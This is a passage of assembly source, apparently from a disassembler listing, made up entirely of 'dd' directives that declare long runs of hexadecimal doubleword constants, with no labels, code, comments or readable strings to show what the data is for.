		dd 30456748h, 0DB40619Dh, 0E8442A93h, 438E143Eh, 0B411CC03h
		dd 0AE5500C3h, 0EA9FABD6h, 15B6044Eh, 0C1F63F8Dh, 330EF9F8h
		dd 0A4F42A80h, 0C7007CA6h, 0FC4D39C2h, 18DC44Ah, 31E4C97Ah
		dd 208954F7h, 1215EC10h, 2840498h, 8BB7E97Ah, 8FFCA240h
		dd 79A602E1h, 2A659300h, 5F82459h, 0A7004BFCh, 449C173Bh
		dd 7C546404h, 7C88121Ch, 70801763h, 8084144Fh, 100E0210h
		dd 9408CAC4h, 0D8280751h, 0F18980FFh, 9DDF62BDh, 9763F32h
		dd 892D8CCh, 35964064h,	80A76808h, 0CFF4EEA1h, 96007A7Ch
		dd 0FA51069Dh, 3E1F62E3h, 0D10B012Eh, 70006C30h, 0EAF96BC7h
		dd 0AC3E58B2h, 62590531h, 0C4AE61EEh, 0AA8D0B9h, 70B97C65h
		dd 0D900381Fh, 0FBF659D8h, 820815ADh, 0B224C8Bh, 0A856F300h
		dd 4687EB31h, 0F8982A0Fh, 0A72C00C8h, 0D816E2B6h, 9612C4B9h
		dd 2023A668h, 0C4F0C20Dh, 170C00D0h, 0CA0BE02Fh, 985C0855h
		dd 1F686259h, 8ED0503h,	1B839A80h, 0E05B8043h, 0F751B3h
		dd 6A824038h, 0FF7B9525h, 918AAF02h, 0E1201986h, 55D00C28h
		dd 0E9376BFh, 1B128C04h, 10510EC0h, 0D49899CAh,	3B3CD700h
		dd 4495363Fh, 0A279C6D3h, 9B0ED1FBh, 0A9CF844Fh, 0B7558001h
		dd 0C4D790C5h, 2A8758h,	102E1B0Bh, 1ECFF4E9h, 6E9926EAh
		dd 8A642910h, 80A490A7h, 70E2BFF8h, 36F4E0E4h, 9804D9E0h
		dd 0EE3B3D48h, 4C0EC0A2h, 0E7C058E1h, 0F9AE7010h, 2F28B1EAh
		dd 5D20A819h, 0ABFC837Dh, 6BBBF871h, 0BA98D0EBh, 0AE002458h
		dd 77C6B875h, 0E2223F11h, 0D2DF00D3h, 1C672386h, 1F00A7CFh
		dd 7E2B5035h, 1DEF6E1h,	6328196Ch, 24128D52h, 0E910F214h
		dd 0E6580E36h, 0AD4E7109h, 8BD0E100h, 1900FDE0h, 0BB283EF8h
		dd 16D0ADDh, 2EFE1BB4h,	345B7C12h, 400C55Ch, 85C63A1h
		dd 1F57CC1Eh, 8CF5A5h, 380EFE03h, 4F4A9537h, 7962B82Ch
		dd 0E9FE251Ch, 0F8C500A0h, 4E01D5ADh, 0F1D626C0h, 0C4F88BE7h
		dd 0DB3B0793h, 31442151h, 2091B7ABh, 2F2485ECh,	0ED610010h
		dd 76C8B88Fh, 24170194h, 7BB0EAC5h, 0C9818438h,	3A80782Ah
		dd 34B4736Ch, 0D03FBCh,	0CD507510h, 961FEAD9h, 1D422354h
		dd 0E105F60Ah, 0A511CE10h, 22802686h, 8C7B522Fh, 0CF823E00h
		dd 9E5A69CAh, 0F1DC6100h
		dd 457BEC19h, 2DD41734h, 0DDC08C0h, 7C689740h, 3211CBD5h
		dd 4440ECA4h, 6090F9A2h, 9186Eh, 38D8D3A8h, 0B9649B9Eh
		dd 500A997Ch, 0F013752Ah, 905A2E96h, 0C370C141h, 0A2FEBFCh
		dd 64BF5108h, 5122698h,	88A33E09h, 0AE0068A4h, 8EEDD4D3h
		dd 78FF1D5h, 0CACC7039h, 215E900Ah, 0F4962294h,	1928D80h
		dd 19C964Eh, 9D335261h,	46D24F93h, 8000786Ch, 0AB178E79h
		dd 52CC2F1Ah, 3F32D850h, 5C513929h, 33517A00h, 5427939Ch
		dd 3A08B437h, 7D40828Eh, 96BC5109h, 78F48483h, 0C107D855h
		dd 0E0AB62BFh, 738AC2DBh, 22FEDD13h, 20EDC490h,	0B88EA002h
		dd 0E32318B6h, 5F9418Eh, 9310D658h, 808C8C08h, 0C331CD45h
		dd 4800AC17h, 0EAF51829h, 8E7D2Fh, 0CFE91D3Fh, 0AF5A57EDh
		dd 6B44AA00h, 62CCB053h, 865497Ch, 1BE8214Ah, 937DD8A1h
		dd 0FC006DE2h, 1784858Ah, 9B2F5EEh, 15AE7947h, 0C47FCCAEh
		dd 887B86A6h, 0DB031EA0h, 0CFED71DAh, 1819E3EEh, 61D5A219h
		dd 1E00B4D6h, 0A94EDB99h, 2C38F4ADh, 31CEE61h, 6894962Ah
		dd 30CC67D8h, 54092313h, 86298C88h, 100A7942h, 82D81AB9h
		dd 417D553Eh, 529A70C1h, 0FC5161D8h, 98FE9C00h,	0E3E26Eh
		dd 46854EC8h, 57F6EAA9h, 535FEF00h, 8FA6221h, 18E8A47Ah
		dd 4009BBB6h, 832A064Eh, 14442C66h, 4F253F9Ah, 0F66CF100h
		dd 0CA9DEB5Ah, 8E061213h, 8C434088h, 140B0802h,	44448693h
		dd 991CF438h, 0CCEA0CDCh, 51037F31h, 0E6B6D14Ch, 7A4E346h
		dd 0A325D719h, 4773206Ah, 0DC019285h, 288A4877h, 39F84C87h
		dd 8E100396h, 567A2E0Ah, 0D0EC3CF0h, 0DF5DF2B0h, 7DB90088h
		dd 0F65C2F96h, 689507C4h, 4F9544Ah, 7BC0D23Ah, 74CE80A0h
		dd 970007ABh, 374AB16Dh, 0CFF1D48h, 13BEDD9h, 0D8A49848h
		dd 8842800h, 0C74CAF16h, 1ADAFA15h, 0F807EB94h,	128B3459h
		dd 4F71830Ah, 667D812Bh, 8651FC5Ch, 0F8508742h,	8374B106h
		dd 0FE7585F0h, 0BD9BF880h, 0C68D8A14h, 6C9F2E84h, 1FDE1001h
		dd 798963A7h, 88902594h, 5092D6A2h, 34FEC10Eh, 0D402E047h
		dd 5C46D7EFh, 0BCC0A4A3h, 0F60419A6h, 0FC7AE87Fh, 78AE7A04h
		dd 3380D13Fh, 141BA20h,	8D0F2FFAh, 242C0A0Bh, 6CB9021Ch
		dd 83E4391h, 61198731h,	0B5C0D024h, 9C4B5112h, 190DC11h
		dd 0DAEC3138h, 0EC3274EBh, 0C304F908h, 0D5331282h, 0E63861DFh
		dd 997C980h, 5AA70AB9h,	21ACCB5Ch, 4051088Ch, 0E88E3280h
		dd 915508C3h, 5CE06F3Ch, 0BDD70274h, 7FC79D00h,	0B8941C3h
		dd 728DE8B8h, 8ABE00AEh, 0C4BC6D43h, 2F12F1A5h,	1840C7EAh
		dd 0E98FEE7Fh, 5F6A001Ah, 0A880A69Fh, 14907E62h, 0CB4D20h
		dd 8DE86F95h, 0B3011D72h, 0A022520Eh, 4732A05Bh, 6B9A853h
		dd 16A617D5h, 6225F10Bh, 741CC3h, 191C3A15h, 3E10FC23h
		dd 40BCB648h, 0F9123978h, 6C28370Ch, 2BAB0FE2h,	0FA41BD87h
		dd 0C46A6CE1h, 0F52AE68Eh, 6024C829h, 0EA43F883h, 0BF85D8F0h
		dd 96C4026Bh, 0F8FF496Ah, 23805EC0h, 65AE94A8h,	0B1005CB1h
		dd 5CA82BEAh, 0CC8D005Ah, 134E0F3Ch, 0BD0F9412h, 0A16B459Bh
		dd 0C622277h, 727BB052h, 38030F4Ch, 59AF52D7h, 0F9368F80h
		dd 8B1A812h, 9887F31Eh,	17CEC4D9h, 0EB230420h, 0AAD03E97h
		dd 98BFBE0Eh, 0C5317567h, 0A984094Dh, 830050EEh, 8E46498Ah
		dd 96509533h, 0E555420Ch, 85EB2CE1h, 9E09F9D1h,	1502004h
		dd 5B6B8500h, 2F07AFDFh, 0CFE865DBh, 0C9B5A09Fh, 9EDAB7Eh
		dd 36E70816h, 6E44F880h, 0A6247225h, 93406C8Eh,	5808AB68h
		dd 86CBA854h, 5F035C4Ch, 7B8BEE3Fh, 30197D0Ch, 0D9D6D0E5h
		dd 420FD492h, 229F5EF1h, 8A269446h, 2C228420h, 0DE75290Bh
		dd 44488BBEh, 0BB12009Ch, 19E940Ah, 0ED007769h,	245A42ABh
		dd 90C7FCC1h, 0A4F648D0h, 32C2A3Dh, 0C938E0A0h,	0CA01AC35h
		dd 8C0787E9h, 7FD020F6h, 411E00A6h, 0C4AD59CCh,	131C01A4h
		dd 39015AD9h, 0A58C55EBh, 0A81F06Ch, 0D109FF83h, 8429F1h
		dd 0ABF2DF1Bh, 0E658D62Ch, 79AC007Eh, 0F1CC44A0h, 51075642h
		dd 0C4160655h, 0EE5E7A30h, 23870B6Dh, 64628066h, 34009846h
		dd 0D43386FDh, 56B12Ch,	0D5EDCD41h, 3B8EA5C0h, 0EF989C3h
		dd 6881512Ch, 594120E2h, 76007B09h, 3001EADBh, 7DF3C97h
		dd 0F3EB199Bh, 0C523C355h, 90B2EDh, 7A657369h, 4A3EECE2h
		dd 84AC41EBh, 0F890DA61h, 3C00E4A2h, 57D2458Dh,	0E4E6444h
		dd 8CD6EA23h, 1644396Ah, 0C2A01D35h, 9C0FF85Fh,	0F9F88CE6h
		dd 0A9D4F00h, 0E1A322FAh, 36153C83h, 3A901105h,	9C2C88A7h
		dd 0D778E300h, 0E924454Ah, 1381266Ch, 1B82180h,	1F8716BFh
		dd 279740B0h, 11E62B8Ah, 4F544000h, 0DF457BAAh,	0FAB8A0A2h
		dd 0BC15517Ch, 0C09C1878h, 0C8991F14h, 9800F770h, 0A21BD990h
		dd 2883B54h, 0DF529F4Ah, 78C13D83h, 2A61108Ch, 0E3E9885h
		dd 1DA6EB04h, 2F6C9856h, 6834BE07h, 0E8301465h,	4FD7A80Ah
		dd 0B4040D8Fh, 80247C49h, 9D8AC51Bh, 0B0FEE6B7h, 0AA72000Dh
		dd 0DFDAA389h, 9416EC24h, 6887F4A7h, 0AC881B64h, 81E89EA2h
		dd 575B3FAAh, 0F764E82Ah, 0C408554Eh, 69C680F9h, 0CB8DFF7Eh
		dd 64A3CD05h, 0EC83D351h, 0F910C8ECh, 0AB557806h, 7945DAD4h
		dd 9C4F0034h, 0BB3EF5B5h, 0E338CF00h, 6E1EC4D7h, 0D8A6EBh
		dd 9A28C181h, 9F29AE67h, 3D452000h, 3A8F8403h, 49067296h
		dd 0CD30CC12h, 517808C1h, 0CC8634B2h, 86064903h, 0F0DC9373h
		dd 78844Ah, 97F9E045h, 24D170A0h, 29945316h, 41D1C30h
		dd 80BCB2A2h, 48A37F24h, 0C8E9413h, 498229Fh, 8329B212h
		dd 3B404814h, 0C3584C09h, 0F0E26A42h, 0B9743Bh,	5905A5CCh
		dd 0BA583E75h, 973DFCB1h, 4C80C8Bh, 20834E2Ah, 2FE01CD8h
		dd 6559A400h, 8262243Dh, 0FC74B8E5h, 8058B498h,	0B9E37705h
		dd 6006088h, 0A4CA2FE8h, 50BF9391h, 6F1EC2A3h, 222AA018h
		dd 654A58FCh, 9FE1BF02h, 82DE995Ah, 90E9E84h, 8A16D0C8h
		dd 0D05C8971h, 0A12A2268h, 0C5174324h, 0CB74D880h, 22E02E58h
		dd 17609814h, 0A3CDCCFh, 8080A020h, 0C33E4B9Dh,	96004A6Eh
		dd 4875B8A1h, 5D1EDFh, 0F8FD018h, 3EA74C55h, 0F987E099h
		dd 1170A848h, 0E4A1FD2Dh, 4B5E0D1h, 29C585F2h, 0F84E286h
		dd 40573E1Fh, 2B92C8FBh, 7F970050h, 4DC4A3ADh, 0A71801BDh
		dd 25D1C3EEh, 7A228407h, 0B18C88Bh, 8541C481h, 688BC216h
		dd 0C1389A5h, 1427F028h, 0EB06552h, 239E37A4h, 928AF83h
		dd 7E7C630Eh, 219C2CCBh, 2E529B6h, 4A87002Ch, 22E380CDh
		dd 0B2A0545Fh, 78000B6Bh, 645510A1h, 28E5399Fh,	45CCA363h
		dd 4BC4C8Dh, 0D9280600h, 58653963h, 1A9D0055h, 2E1D2590h
		dd 0C267A618h, 92900DB1h, 62A59Ch, 7622A98Bh, 7A31C784h
		dd 0A015E400h, 988C0DC0h, 8FB300F3h, 53F6FE9Eh,	0D5241B29h
		dd 0E10B4EE2h, 38450C10h, 1A56883Eh, 0C1403D00h, 45C8DE04h
		dd 1260031h, 15F4932Eh,	0F8037A32h, 34B94EEFh, 0A2C1C897h
		dd 0C030FEE7h, 136E2A88h, 3D803214h, 7B9EE64h, 521D02Ch
		dd 6BC03F36h, 7BAB7D53h, 793AC730h, 1192BF9h, 98C3B003h
		dd 0EC091F4Eh, 300C4313h, 29DCC6DFh, 716D2812h,	728E0030h
		dd 538F63B5h, 1E656B6Ch, 6800C619h, 6725D37Fh, 0EC2E0010h
		dd 4DC06320h, 93101F2Ah, 570016B7h, 0D0DED117h,	0AC02E99Fh
		dd 0B94FE2ABh, 5D92E065h, 255C00AEh, 36D57515h,	84A9F993h
		dd 0C25AF0DFh, 0C7E50100h
		dd 6719C57Eh, 0D5873B38h, 2CEF1D03h, 880675B6h,	0E6C6D32h
		dd 65C201A1h, 3935E71Ch, 0FFCEC9BDh, 0D22D2900h, 8B7D6F69h
		dd 0AFDC1234h, 0F0CA031Ch, 0B6988F8Dh, 2C0FD664h, 0E282B281h
		dd 0A7EF61BDh, 2EA0DE78h, 347177h, 0AAB73A40h, 0C03D28BEh
		dd 0F5B2C203h, 0FEC6DC75h, 0C1E50031h, 0D6B62D8Bh, 6206DD6Ch
		dd 1792F988h, 0C0391521h, 840594C6h, 208C9605h,	2D60BD9Ch
		dd 97FB6F2Eh, 9B31E300h, 0D3C7A0h, 0A36BB69Dh, 8B6A5675h
		dd 3600F4A6h, 0DA40DD8Ch, 14C896DCh, 8C686DFFh,	0A2665680h
		dd 2B14A6E2h, 3890EB7Bh, 92B8D4EEh, 0F5888F0Ch,	0A474B008h
		dd 8816FAACh, 7D0A8AAEh, 0F04A5CEAh, 4502DB6Ah,	6030BF02h
		dd 1C921F00h, 9D5B3E49h, 48073D1Eh, 0DC130F7Ch,	0F800ED49h
		dd 49BCAC5Ah, 88A5DCh, 0A9B1BF96h, 272EFF34h, 81709730h
		dd 8DE87h, 592A9343h, 20147D4Ah, 115849C0h, 0F2C7B6h, 70BBEDE3h
		dd 8A1A1C4Bh, 16A0A51Fh, 84C0699Dh, 74E58636h, 1B1F3CBFh
		dd 82C53400h, 0F7419C8Fh, 2A9A509Dh, 1284EC09h,	203D95F9h
		dd 262E1B88h, 2D4880F9h, 79B98A81h, 706D181Fh, 6FC68924h
		dd 0B3003092h, 0F8A8B803h, 115957h, 6290C882h, 0D936D88Fh
		dd 7F1A520Fh, 0A43138C7h, 8E373A14h, 0CE1F0B03h, 0E9E83E2Ah
		dd 8D71D7D2h, 0DF01C57Eh, 0FA7E7390h, 99853B95h, 4F1EC39h
		dd 213FA658h, 1980EF93h, 0A8DB846Ah, 4001D2E1h,	7752EDC7h
		dd 0E8490BC0h, 960BFDCh, 745F5868h, 41335484h, 7699DA1Ch
		dd 34004C31h, 18E903Fh,	1F82BCEBh, 8328131Ah, 8815FC49h
		dd 6301C0C5h, 1E5F0AACh, 71CEE93h, 1072C789h, 0ACD0C5AFh
		dd 0F9709861h, 11440A9h, 0B42D3397h, 113C2272h,	35261073h
		dd 16A90158h, 8C66F639h, 21211319h, 99980060h, 38CD6A0Ch
		dd 1000497h, 0FA07F887h, 14E6DF31h, 9C74ACC7h, 0F0C111h
		dd 0FA58A884h, 0C1FC613h, 4A21607Dh, 0A7302D08h, 4B598988h
		dd 0B3CD00C6h, 2A74A81Bh, 3003769h, 892D83C2h, 248F91B8h
		dd 590107Fh, 41BD9322h,	2E445CB0h, 5E67FCEEh, 0D8E7AF04h
		dd 89D03477h, 182AAE92h, 68ED689Ah, 5300761Ah, 0AF35C53Ah
		dd 24F8BA45h, 9F146592h, 0DA91F0A7h, 0F600B2DDh, 0C5A672E9h
		dd 0F994F975h, 0EA220C23h, 0C42EC90h, 0E89A76h,	0BA21CDEh
		dd 63556D1Bh, 0F736C18h, 24A7C241h, 21F0E933h, 767080E0h
		dd 2CD50688h, 8967B231h, 2181F393h, 3C6B48B0h, 0B295F03Bh
		dd 4B736400h, 97304150h, 0D37212CAh, 3A24304Eh,	26E68288h
		dd 70649E8h, 41A735F0h,	1E8D0059h, 0F28F036Bh, 0CC0A059Dh
		dd 0CC20522Ah, 10921289h, 0EC81E70h, 0C6F7AAB0h, 0D2642AE1h
		dd 207BE9C3h, 8C0E81F0h, 2C6D025Dh, 522CE12Eh, 1A2EECBDh
		dd 101C1A68h, 410CBAh, 414E1040h, 45889824h, 9C641065h
		dd 5D7D5806h, 595431B8h, 6F526D98h, 0C65600A8h,	0B235E037h
		dd 8F3300B6h, 10759580h, 0A3631A5Eh, 0C4BF0878h, 0B1300A12h
		dd 8A9E4050h, 1F48DFB4h, 52B00550h, 0F020F63Ah,	67CA90DCh
		dd 0D8B6D876h, 2711F8A4h, 0CF603537h, 0A4AF2491h, 2921690Ch
		dd 40228B73h, 1487117Bh, 0C8227CEDh, 0F8933066h, 217E0349h
		dd 2B87C103h, 0C076DADDh, 1C472AE5h, 0D3C245E8h, 44D4505Ch
		dd 0D85EA305h, 0D1D80244h, 0F0620247h, 8300A814h, 1934DAC9h
		dd 30A14D42h, 6D411312h, 0D1090C90h, 22AAA711h,	0C16E8750h
		dd 243076A8h, 64A78806h, 19D159C0h, 0F4E595Dh, 0AC1D188Bh
		dd 4B0120C0h, 172CBF3Eh, 7790C8B5h, 4A039022h, 0F2A8DF3Bh
		dd 0B8085876h, 6000E02Eh, 9D688428h, 33FFE900h,	0A1C21327h
		dd 98A715D3h, 6B10C0E8h, 1C308129h, 50A4A98Ah, 671F6058h
		dd 0E9008071h, 0C604F87Dh, 0E1B6F90h, 53B93117h, 0F94CA900h
		dd 6CA13C8Fh, 52401773h, 1BC3A9Eh, 0C1BF7C62h, 72A72288h
		dd 60510384h, 0DA0DB1B4h, 4CC4C7h, 9ADA6C70h, 3FABC338h
		dd 19913303h, 0F2C14A1Dh, 3DC48201h, 2C130316h,	9705A900h
		dd 0CBC1FA14h, 77B70094h, 3D6F6822h, 0F9131AF0h, 7830869Ch
		dd 0FF275Fh, 634AF577h,	0F1B22BF6h, 8A375700h, 80248B1h
		dd 0B0C1071Fh, 10FB122Ah, 0B62E110Dh, 84E8AF5Ch, 934778C8h
		dd 0B0048F6h, 1BE0F857h, 8DDE0B03h, 860196D1h, 402989C3h
		dd 61BE51D4h, 7BC740C4h, 0B8581054h, 0A49153C9h, 7B99106Bh
		dd 0BB060068h, 8ED7526Eh, 0EB00C3B0h, 75DC1CDBh, 4A2CE03Bh
		dd 773021B4h, 4DA4760Fh, 8F850000h, 731B55A9h, 7B3F2572h
		dd 947FD010h, 0A4A57909h, 898C1907h, 25855030h,	1428978Ch
		dd 0AFE360E0h, 921DE546h, 1A00C0E9h, 931F7882h,	405B6991h
		dd 0CC393484h, 6600E304h, 99E5D01Fh, 2EF82351h,	245C579Ch
		dd 8087017Ch, 841B32Dh,	3F9011F9h, 34C5147Ah, 0DB8E17C0h
		dd 5914344Ch, 9DAA0FE4h, 64A18065h, 30578476h, 78B9EC68h
		dd 478D7C80h, 16BA5ADh,	3F7F952Eh, 0C48F6AE3h, 1A09F236h
		dd 8222AF51h, 64169644h, 0A7F744B0h, 3F09DFh, 0E08DCB12h
		dd 0E8702605h, 11B8074Eh, 601DD76Dh, 150F873Fh,	2CF43705h
		dd 0F42749B1h, 2430082Bh, 36898205h, 6088BBC2h,	0E82CC178h
		dd 803D52A7h, 0E1221318h, 0DA009BA9h, 3D5D4104h, 881210Eh
		dd 6DC66203h, 0CE221180h, 8FC19Eh, 79F23DACh, 76031C17h
		dd 89E8FC0Eh, 71AF046Fh, 0B4C8F4C5h, 0AE8A4A8h,	0C68E541Ah
		dd 8AF16F8h, 8484F134h,	0F4C73005h, 0B9D112C0h,	51E10C3Eh
		dd 0AEB8C175h, 6D4B5209h, 0C6784970h, 0A7000029h, 24604077h
		dd 0F40079BFh, 81409F6h, 6012B38Fh, 7C6F3126h, 720011C7h
		dd 0A9AF13DBh, 0E462CC4Dh, 2B883F77h, 0DD804048h, 0A72CECB6h
		dd 222DD412h, 369C1440h, 1D842A14h, 0C07F1B25h,	11C498BFh
		dd 1222213Ah, 0F446001Fh, 2552671Ch, 9E005B1Eh,	0C3A21DDFh
		dd 0FAEC4F29h, 0FC10520h, 5279BE2Dh, 11F4888Ch,	1ACDE806h
		dd 74683Eh, 0A0518F7Dh,	0B6BDC9C1h, 0A85DDF0Ch,	65396Fh
		dd 94A146Ch, 991952F4h,	76F7C200h, 8934841Ah, 8E583D46h
		dd 0AD8C98Eh, 0A60C1BE4h, 15E01078h, 580605Ch, 19A098D3h
		dd 0C3DCB300h, 898779C2h, 904854CEh, 9E5E0013h,	0CB6C4EE1h
		dd 0B8183E42h, 72412D12h, 6AF338D0h, 0F2D8A800h, 29D10ECDh
		dd 0BD6839h, 0B30DAF86h, 4A6494F8h, 0F2D44875h,	21A31880h
		dd 0ECD07Ch, 3368D771h,	9238B1BFh, 5592014h, 2AC102C3h
		dd 0AF6AC72Dh, 41F5CC84h, 9E75004Ah, 0D2DAD9AEh, 0EC26EDD5h
		dd 7B0748B7h, 54F01A4Eh, 3E216D1Fh, 0C78206Ch, 0C3D0FE98h
		dd 65CC788h, 2574223Ch,	0F890796Dh, 10BA3DBDh, 21EDD037h
		dd 0A8CD22D5h, 10701C12h, 7D0D0A90h, 0F15B92FAh, 0C0EB0020h
		dd 7290E3B1h, 8E5CF966h, 3193C2B4h, 5790685Dh, 596D60A8h
		dd 1C96486Ch, 3E85C100h, 0CF827217h, 0AF473837h, 0E7FDBD8Ch
		dd 7D69F660h, 0CAC01881h, 2A880BB6h, 7CB18981h,	0C535101Ah
		dd 0B00B48ADh, 23DB2180h, 0EB001348h, 49A52746h, 3B03F6Bh
		dd 8F2FF4FCh, 128D6DF7h, 1DCC2474h, 880FE23Ch, 400BEB34h
		dd 1B9E0C40h, 39517E1Dh, 110957DDh, 188249F4h, 1466C02Ch
		dd 9D60409Fh, 0B5BCA0ECh, 39C72AB7h, 53EA0090h,	0B6A08ACEh
		dd 3A12FFF2h, 2D006CA2h, 4A36B812h, 8FF8262Ah, 1BE04EECh
		dd 7D49BB13h, 0C52CEA12h, 0F2E0BC2Dh, 1627003Ch, 4373FE36h
		dd 671428B9h, 10ACEB40h, 372212F3h, 2FADF92Dh, 7B2BA080h
		dd 0B91BE99Ah
		dd 2D768718h, 6085D72Fh, 0B098C8Fh, 0EBC12800h,	25690AABh
		dd 6F6D0934h, 9CCC3F60h, 0DB842700h, 19257348h,	26E200B1h
		dd 81A0F0B5h, 1E29B053h, 3480B03Bh, 8BE33EF4h, 266C0031h
		dd 0A9C681CEh, 0AA03321Ch, 35C5017Dh, 0E088D4E8h, 0A8AC007Eh
		dd 5B6F50BEh, 840408E5h, 933E7D76h, 16A4C88h, 0BB92C3E8h
		dd 315DCA73h, 52541810h, 6B0B8300h, 115ADA66h, 0D64C00F0h
		dd 894DC3A5h, 830025F5h, 1A36D576h, 2C878F92h, 0FF8BE61h
		dd 39648AA2h, 1360B4EFh, 0C60FC4A4h, 0C007587Ch, 0E5846DDFh
		dd 2EC02CB5h, 3F0AC60h,	4EE4BD12h, 33843CC9h, 1EDB00DCh
		dd 0F10D5A6Eh, 2C4A40Bh, 0A1D8B5D0h, 0C3C00CFDh, 38027489h
		dd 1C446C43h, 0F788C08Ah, 3CD182E3h, 0EDA3DF00h, 5FEEB43h
		dd 19D1EA13h, 0C8D8D53Eh, 0E6075AACh, 4A217BAFh, 0D9F80EF0h
		dd 7E23A87h, 0E1D17C05h, 6DAC0474h, 2CC48864h, 82CCBC5Ch
		dd 8B7CD683h, 0A6889090h, 94D0944h, 80DD2643h, 2DBB4853h
		dd 6A791E2Ch, 504F819Bh, 6C205175h, 984C5Ch, 5C3C6F55h
		dd 0B7E681h, 0CA918A22h, 0B32CED6Ah, 0FDA05C96h, 64F32D5Ch
		dd 0F4B49311h, 25391C52h, 0CBFC1F65h, 94840220h, 0C58C506Ah
		dd 71C06D84h, 2D3625h, 0BEA2EC20h, 3F0F7FF3h, 2B9AF4A8h
		dd 0C5334B00h, 975E8A9Ch, 994B47Eh, 64682483h, 990A5856h
		dd 88B22C55h, 0E7B8024Bh, 0BED4484Bh, 641A8874h, 838D2F17h
		dd 0A44E1C0Bh, 10E4A808h, 0ECDF3AE8h, 68849101h, 41FD9F8Ch
		dd 64332CCAh, 24B0E018h, 75A48B16h, 0DC8D5884h,	21EC1BF2h
		dd 0B0381F50h, 20C70A80h, 0E607D441h, 58D82BCCh, 606B009Fh
		dd 29E2A04h, 0B41B2988h, 18E12FC3h, 6403293h, 0C1BDBC14h
		dd 866E7878h, 0A88E7C8Bh, 0EF0AFB01h, 0CE8C87BEh, 0B815298Fh
		dd 33D30196h, 2035F15Bh, 0C8046BABh, 86D32D93h,	20BABCC2h
		dd 90EC6ACFh, 0CA396700h, 0EE35BD26h, 0F9F295h,	0AAD913C1h
		dd 76255575h, 7A3C3148h, 1227D688h, 88B5FDD3h, 390005C0h
		dd 0E27C7891h, 0B6168AAEh, 45EF4484h, 18009A35h, 39C0BE3Bh
		dd 799E086Ch, 9D806DA7h, 2FE16588h, 447B92h, 5E6F6480h
		dd 9AAF89E2h, 88E7BF24h, 39297682h, 1FE852FBh, 0C7F18E0h
		dd 5D71A514h, 0E8013E09h, 0F4C41835h, 4D81001Dh, 0E9FE9BB3h
		dd 0C3006DEDh, 0AFD14E28h, 9E12C5DEh, 0AAE8837Ch, 0A28FFC03h
		dd 2840165Bh, 2D3F2B51h, 3BE320C0h, 623BEE87h, 7107C25Ch
		dd 0D5AEDDC1h, 182C82BBh, 0DFE4B029h, 50B1C6h, 95E20550h
		dd 7B00A2E6h, 0A43CCC22h, 90CE869Eh, 75692D24h,	0A52850B8h
		dd 0AA0EE9FEh, 0C005BCB2h, 6A916780h, 0C1581CF7h, 63F468D4h
		dd 0C6DC314Fh, 0EC4448D5h, 0A18F8480h, 0B02D189Ah, 3877067Ch
		dd 70CB1785h, 0D02EBC05h, 0FC307A98h, 48B00D48h, 7D172418h
		dd 9714D0FEh, 0C0242695h, 0A2385CD1h, 0A851110Fh, 6B4A7C0Ch
		dd 0C8E3F424h, 234DF24h, 31EF918Bh, 8291841h, 0B4C05539h
		dd 26A992ECh, 15E41B86h, 0B5008C66h, 69A2726Ch,	250077F0h
		dd 96B0EB49h, 0EF20EDh,	57D4CC05h, 0E5C110F4h, 0B949AE0Ch
		dd 440958DEh, 409F9EDh,	23BC8CADh, 0B52DEB8Ch, 9737A080h
		dd 0ABBA0F02h, 92675FD1h, 0B07E1082h, 8579149Eh, 8090BD4Ch
		dd 0A546B1Ah, 0FE7398A4h, 6D8800D1h, 7DDB2320h,	0F8242512h
		dd 0B742F4A7h, 4FA92h, 0D5E16F22h, 8D9E98Bh, 79BFF3Bh
		dd 0B962AF1Ah, 1CEE73C0h, 58309042h, 0C7184438h, 0C5654945h
		dd 0E5478400h, 0E33B2B99h, 51950674h, 61BEF53Ah, 6C40134Bh
		dd 0F73414BAh, 0C3EB3ADAh, 0AA91DC00h, 0DB0E013Ch, 0A7E32B0Ch
		dd 28D142h, 0D95A51EEh,	0D492BC0Ch, 1E2B52Fh, 40C72CACh
		dd 0A9888C38h, 91A02D46h, 31B74248h, 0C112C202h, 0CD122B70h
		dd 8200C0FAh, 0D106C09h, 0A2751DB8h, 99989090h,	4B7D50h
		dd 0FA252DBFh, 1A1F76DEh, 95AADC09h, 87509256h,	7B707110h
		dd 37C5AFh, 141235ECh, 1B1F5E75h, 0EE988B03h, 0C0BD06C3h
		dd 3A5DF0F3h, 0A47337C6h, 0FA9B00A8h, 0B0DFE029h, 0F539F94Eh
		dd 4A6ADE6h, 31402E44h,	40AF542Dh, 268DA701h, 0DF6AF4A9h
		dd 306E289Ah, 604AD0E9h, 4E0FBA40h, 926B0F3h, 0D93CE01Bh
		dd 0C72D150Ah, 1407A477h, 757EFD6Bh, 75B7C28Ah,	64CD38A0h
		dd 4102A183h, 36154B1Ch, 4DAA7h, 2A95D5FCh, 349331ACh
		dd 4C55E3Eh, 2B796DF1h,	47B4C64Ah, 0EEAD9105h, 0E00B6065h
		dd 7040A74Ah, 0B8DFCD70h, 0CBF301F4h, 9BC3C34h,	14A3C4EEh
		dd 0B25A38h, 0C119F84Eh, 7D430Eh, 705C1F20h, 0F7BC5DF1h
		dd 6CDB6509h, 0A0381874h, 0ED0700BEh, 236F536Bh, 3A00D675h
		dd 0A3333C5Ah, 5AAF5CDAh, 0C210206Eh, 78048230h, 0C3BECFA8h
		dd 0EBFA58C1h, 0C86F2D08h, 7B1B04C9h, 0DB41C4C2h, 4E378088h
		dd 0E6206C8Fh, 0F8AA4909h, 0A7B89192h, 0F93100F3h, 48053AF0h
		dd 9800255Eh, 0BF3685F1h, 0C18BA8h, 0F86AFF59h,	87F0E2CCh
		dd 6DEF1F02h, 405A8E46h, 26C53964h, 3A5022A3h, 63F422CAh
		dd 6E4498D2h, 0CA040094h, 0F5DEBA39h, 0FB006559h, 0E93AA78h
		dd 28A2C650h, 0AB5090F8h, 8E40A490h, 1B95C2AFh,	7E011772h
		dd 0F94B3A57h, 184546A8h, 0D6FB1C00h, 99C9247h,	788AAACAh
		dd 0A901018h, 0EC12BC94h, 6DF3A400h, 0B871F75Bh, 8ABF0010h
		dd 0FC2326DEh, 209594F8h, 8B302FE0h, 0C9430CAFh, 7191BA12h
		dd 48AE1607h, 5450E2A0h, 4EC1597h, 60FF954Eh, 83CCC33Ch
		dd 0BCE036DAh, 2F5BAEE9h, 0C66D4820h, 0FBCB39E8h, 0CD2CC00h
		dd 4E8017C8h, 5B90DF4Ch, 0DD485C20h, 4FE07114h,	0A444282Ch
		dd 25F92740h, 0C0C64794h, 0BFAE1644h, 0AB5F8650h, 18F7F022h
		dd 7F00BDA8h, 0F931B9C1h, 0C9D73FBh, 0A55872EEh, 82E08908h
